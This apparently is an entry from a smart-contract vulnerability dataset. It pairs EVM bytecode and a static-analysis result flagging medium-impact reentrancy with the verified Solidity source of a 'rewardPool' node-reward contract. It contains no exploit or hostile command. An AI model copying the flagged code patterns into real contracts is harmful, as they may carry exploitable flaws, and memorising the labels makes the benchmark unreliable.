ffffffffffffffffffffff1614610755576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b600160149054906101000a900460ff16156107d8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f616c72656164792073746172746564000000000000000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610830575061082f8473ffffffffffffffffffffffffffffffffffffffff1661202b565b5b6108a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f7374616b6520746f6b656e206973206e6f6e2d636f6e7472616374000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156108fa57506108f98373ffffffffffffffffffffffffffffffffffffffff1661202b565b5b61096c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f72657761726420746f6b656e206973206e6f6e2d636f6e74726163740000000081525060200191505060405180910390fd5b60018060146101000a81548160ff021916908315150217905550836000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555082600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610a3481610a26670de0b6b3a764000085611ed390919063ffffffff16565b611f5990919063ffffffff16565b60048190555042600581905550610a548142611fa390919063ffffffff16565b60038190555050505050565b60025481565b600160149054906101000a900460ff1681565b600a6020528060005260406000206000915090505481565b33610a9a611cfb565b600681905550610aa861203e565b600581905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610b7557610aeb8161055c565b600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600654600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600160149054906101000a900460ff16610bf7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f4e6f74207374617274207965740000000000000000000000000000000000000081525060200191505060405180910390fd5b60008211610c6d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f43616e6e6f74207769746864726177203000000000000000000000000000000081525060200191505060405180910390fd5b81600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610d22576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f496e73756666696369656e742062616c616e636520746f20776974686472617781525060200191505060405180910390fd5b610d2a611c3b565b610d7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180612601602a913960400191505060405180910390fd5b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610e1f57600080fd5b505afa158015610e33573d6000803e3d6000fd5b505050506040513d6020811015610e4957600080fd5b81019080805190602001909291905050509050610e7183600254611e8990919063ffffffff16565b600281905550610ec983600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e8990919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f5833846000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166120589092919063ffffffff16565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610ff857600080fd5b505afa15801561100c573d6000803e3d6000fd5b505050506040513d602081101561102257600080fd5b810190808051906020019092919050505090503373ffffffffffffffffffffffffffffffffffffffff167f75e161b3e824b114fc1a33274bd7091918dd4e639cede50b78b15a4eea956a2185848460405180848152602001838152602001828152602001935050505060405180910390a250505050565b336110a2611cfb565b6006819055506110b061203e565b600581905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161461117d576110f38161055c565b600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600654600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600160149054906101000a900460ff166111ff576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f4e6f74207374617274207965740000000000000000000000000000000000000081525060200191505060405180910390fd5b600061120a3361055c565b90506000811115611538576000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156112fb57600080fd5b505afa15801561130f573d6000803e3d6000fd5b505050506040513d602081101561132557600080fd5b81019080805190602001909291905050509050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f1933846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b1580156113e157600080fd5b505af11580156113f5573d6000803e3d6000fd5b505050506000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561149a57600080fd5b505afa1580156114ae573d6000803e3d6000fd5b505050506040513d60208110156114c457600080fd5b810190808051906020019092919050505090503373ffffffffffffffffffffffffffffffffffffffff167fa4b7979b77c5bef65740b7e1d7a09534eadc2803d5c1cfdae60fa28226be6da284848460405180848152602001838152602001828152602001935050505060405180910390a250505b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60035481565b60096020528060005260406000206000915090505481565b60045481565b60076020528060005260406000206000915090505481565b336115a6611cfb565b6006819055506115b461203e565b600581905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614611681576115f78161055c565b600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600654600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600160149054906101000a900460ff16611703576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f4e6f74207374617274207965740000000000000000000000000000000000000081525060200191505060405180910390fd5b60008211611779576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f43616e6e6f74207374616b65203000000000000000000000000000000000000081525060200191505060405180910390fd5b816000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561181857600080fd5b505afa15801561182c573d6000803e3d6000fd5b505050506040513d602081101561184257600080fd5b810190808051906020019092919050505010156118c7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f696e73756666696369656e742062616c616e636520746f207374616b6500000081525060200191505060405180910390fd5b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561196757600080fd5b505afa15801561197b573d6000803e3d6000fd5b505050506040513d602081101561199157600080fd5b810190808051906020019092919050505090506119f23330856000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16612129909392919063ffffffff16565b611a0783600254611fa390919063ffffffff16565b600281905550611a5f83600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fa390919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015611b4257600080fd5b505afa158015611b56573d6000803e3d6000fd5b505050506040513d6020811015611b6c57600080fd5b81019080805190602001909291905050509050611b94611c2042611fa390919063ffffffff16565b600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff167fb4caaf29adda3eefee3ad552a8e85058589bf834c7466cae4ee58787f70589ed85848460405180848152602001838152602001828152602001935050505060405180910390a250505050565b6000600160149054906101000a900460ff168015611c9857506000600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b8015611cf05750600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442101580611cef57506003544210155b5b905090565b60055481565b6000806002541415611d11576006549050611d86565b611d83611d72600254611d64670de0b6b3a7640000611d56600454611d48600554611d3a61203e565b611e8990919063ffffffff16565b611ed390919063ffffffff16565b611ed390919063ffffffff16565b611f5990919063ffffffff16565b600654611fa390919063ffffffff16565b90505b90565b60065481565b600160149054906101000a900460ff16611e11576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f4e6f74207374617274207965740000000000000000000000000000000000000081525060200191505060405180910390fd5b611e59600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610a91565b611e61611099565b565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000611ecb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061222f565b905092915050565b600080831415611ee65760009050611f53565b6000828402905082848281611ef757fe5b0414611f4e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061262b6021913960400191505060405180910390fd5b809150505b92915050565b6000611f9b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506122ef565b905092915050565b600080828401905083811015612021576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600080823b905060008111915050919050565b6000600354421061205157600354612053565b425b905090565b612124838473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb905060e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506123b5565b505050565b612229848573ffffffffffffffffffffffffffffffffffffffff166323b872dd905060e01b858585604051602401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506123b5565b50505050565b60008383111582906122dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156122a1578082015181840152602081019050612286565b50505050905090810190601f1680156122ce5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000808311829061239b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612360578082015181840152602081019050612345565b50505050905090810190601f16801561238d5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816123a757fe5b049050809150509392505050565b6123d48273ffffffffffffffffffffffffffffffffffffffff1661202b565b612446576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e74726163740081525060200191505060405180910390fd5b600060608373ffffffffffffffffffffffffffffffffffffffff16836040518082805190602001908083835b602083106124955780518252602082019150602081019050602083039250612472565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146124f7576040519150601f19603f3d011682016040523d82523d6000602084013e6124fc565b606091505b509150915081612574576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c656481525060200191505060405180910390fd5b6000815111156125fa5780806020019051602081101561259357600080fd5b81019080805190602001909291905050506125f9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a81526020018061264c602a913960400191505060405180910390fd5b5b5050505056fe4d757374206265206c6f636b656420666f722031342064617973206f72204d696e696e6720656e646564536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a165627a7a723058201e8678476d89fbccff2b5d88d4e0f73a0cb5329c0dcbda168be2bed82cc458e70029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 3,721 |
0x8bc7197733e51f79c6cf731c43f8441588530063
|
/**
*Submitted for verification at Etherscan.io on 2022-02-26
*/
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library LowGasSafeMath {
/// @notice Returns x + y, reverts if sum overflows uint256
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x);
}
function add32(uint32 x, uint32 y) internal pure returns (uint32 z) {
require((z = x + y) >= x);
}
/// @notice Returns x - y, reverts if underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x);
}
function sub32(uint32 x, uint32 y) internal pure returns (uint32 z) {
require((z = x - y) <= x);
}
/// @notice Returns x * y, reverts if overflows
/// @param x The multiplicand
/// @param y The multiplier
/// @return z The product of x and y
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(x == 0 || (z = x * y) / x == y);
}
/// @notice Returns x + y, reverts if overflows or underflows
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x + y) >= x == (y >= 0));
}
/// @notice Returns x - y, reverts if overflows or underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x - y) <= x == (y >= 0));
}
function div(uint256 x, uint256 y) internal pure returns(uint256 z){
require(y > 0);
z=x/y;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(
address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage
) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract OwnableData {
address public owner;
address public PPINU;
address public Nodes;
address public pendingOwner;
}
contract Ownable is OwnableData {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/// @notice `owner` defaults to msg.sender on construction.
constructor() {
owner = msg.sender;
emit OwnershipTransferred(address(0), msg.sender);
}
/// @notice Transfers ownership to `newOwner`. Either directly or claimable by the new pending owner.
/// Can only be invoked by the current `owner`.
/// @param newOwner Address of the new owner.
/// @param direct True if `newOwner` should be set immediately. False if `newOwner` needs to use `claimOwnership`.
/// @param renounce Allows the `newOwner` to be `address(0)` if `direct` and `renounce` is True. Has no effect otherwise.
function transferOwnership(
address newOwner,
bool direct,
bool renounce
) public onlyOwner {
if (direct) {
// Checks
require(newOwner != address(0) || renounce, "Ownable: zero address");
// Effects
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
pendingOwner = address(0);
} else {
// Effects
pendingOwner = newOwner;
}
}
/// @notice Needs to be called by `pendingOwner` to claim ownership.
function claimOwnership() public {
address _pendingOwner = pendingOwner;
// Checks
require(msg.sender == _pendingOwner, "Ownable: caller != pending owner");
// Effects
emit OwnershipTransferred(owner, _pendingOwner);
owner = _pendingOwner;
pendingOwner = address(0);
}
function setPPINUAddress(address _ppinu) public {
require(msg.sender == owner, "Ownable: caller is not the owner");
PPINU = _ppinu;
}
function setNodesAddress(address _nodes) public {
require(msg.sender == owner, "Ownable: caller is not the owner");
Nodes = _nodes;
}
/// @notice Only allows the `owner` to execute the function.
modifier onlyOwner() {
require(msg.sender == owner, "Ownable: caller is not the owner");
_;
}
/// @notice Only allows the `owner` to execute the function.
modifier onlyPPINU() {
require(msg.sender == PPINU, "Ownable: caller is not the PPINU");
_;
}
modifier onlyNodes() {
require(msg.sender == Nodes, "Ownable: caller is not the nodes");
_;
}
}
contract rewardPool is Ownable {
using LowGasSafeMath for uint;
using LowGasSafeMath for uint32;
struct NftData{
uint nodeType;
address owner;
uint256 lastClaim;
}
uint256[5] public rewardRates;
IUniswapV2Router02 public uniswapV2Router;
mapping (uint => NftData) public nftInfo;
uint totalNodes = 0;
constructor(address _ppinuAddress) {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
PPINU = _ppinuAddress;
}
receive() external payable {
}
function addNodeInfo(uint _nftId, uint _nodeType, address _owner) external onlyNodes returns (bool success) {
require(nftInfo[_nftId].owner == address(0), "Node already exists");
nftInfo[_nftId].nodeType = _nodeType;
nftInfo[_nftId].owner = _owner;
nftInfo[_nftId].lastClaim = block.timestamp;
totalNodes += 1;
return true;
}
function updateNodeOwner(uint _nftId, address _owner) external onlyNodes returns (bool success) {
require(nftInfo[_nftId].owner != address(0), "Node does not exist");
nftInfo[_nftId].owner = _owner;
return true;
}
function updateRewardRates(uint256[5] memory _rewardRates) external onlyOwner {
// Reward rate per day for each type of node (1e9 = 1 Sin)
for (uint i = 1; i < totalNodes; i++) {
claimReward(i);
}
rewardRates = _rewardRates;
}
function pendingRewardFor(uint _nftId) public view returns (uint256 _reward) {
uint _nodeType = nftInfo[_nftId].nodeType;
uint _lastClaim = nftInfo[_nftId].lastClaim;
uint _daysSinceLastClaim = ((block.timestamp - _lastClaim).mul(1e9)) / 86400;
_reward = (_daysSinceLastClaim * rewardRates[_nodeType-1]).div(1e9);
return _reward;
}
function claimReward(uint _nftId) public returns (bool success) {
uint _reward = pendingRewardFor(_nftId);
nftInfo[_nftId].lastClaim = block.timestamp;
IERC20(PPINU).transfer(nftInfo[_nftId].owner, _reward);
return true;
}
}
|
0x6080604052600436106100f75760003560e01c80638c8406cc1161008a578063b1449e6911610059578063b1449e6914610508578063dc1ecac614610549578063e30c39781461059a578063f2caeb1e146105db576100fe565b80638c8406cc146103b45780638da5cb5b146104055780639774950614610446578063ae169a50146104b7576100fe565b8063486ea48d116100c6578063486ea48d146102925780634e71e0c8146102d35780636b7623a9146102ea5780638b9b466714610339576100fe565b8063078dfbe71461010357806315e50ed01461016c5780631694505e146101de5780631f8bc7901461021f576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b5061016a6004803603606081101561012657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080351515906020019092919080351515906020019092919050505061062a565b005b34801561017857600080fd5b506101dc600480360360a081101561018f57600080fd5b810190808060a001906005806020026040519081016040528092919082600560200280828437600081840152601f19601f82011690508083019250505050505091929192905050506108e4565b005b3480156101ea57600080fd5b506101f36109e3565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561022b57600080fd5b506102586004803603602081101561024257600080fd5b8101908080359060200190929190505050610a09565b604051808481526020018373ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390f35b34801561029e57600080fd5b506102a7610a53565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156102df57600080fd5b506102e8610a79565b005b3480156102f657600080fd5b506103236004803603602081101561030d57600080fd5b8101908080359060200190929190505050610c40565b6040518082815260200191505060405180910390f35b34801561034557600080fd5b5061039c6004803603606081101561035c57600080fd5b810190808035906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cd4565b60405180821515815260200191505060405180910390f35b3480156103c057600080fd5b50610403600480360360208110156103d757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f18565b005b34801561041157600080fd5b5061041a61101d565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561045257600080fd5b5061049f6004803603604081101561046957600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611041565b60405180821515815260200191505060405180910390f35b3480156104c357600080fd5b506104f0600480360360208110156104da57600080fd5b810190808035906020019092919050505061123e565b60405180821515815260200191505060405180910390f35b34801561051457600080fd5b5061051d611376565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561055557600080fd5b506105986004803603602081101561056c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061139c565b005b3480156105a657600080fd5b506105af6114a1565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105e757600080fd5b50610614600480360360208110156105fe57600080fd5b81019080803590602001909291905050506114c7565b6040518082815260200191505060405180910390f35b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146106eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b811561089d57600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158061072a5750805b61079c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f4f776e61626c653a207a65726f2061646472657373000000000000000000000081525060200191505060405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473fffff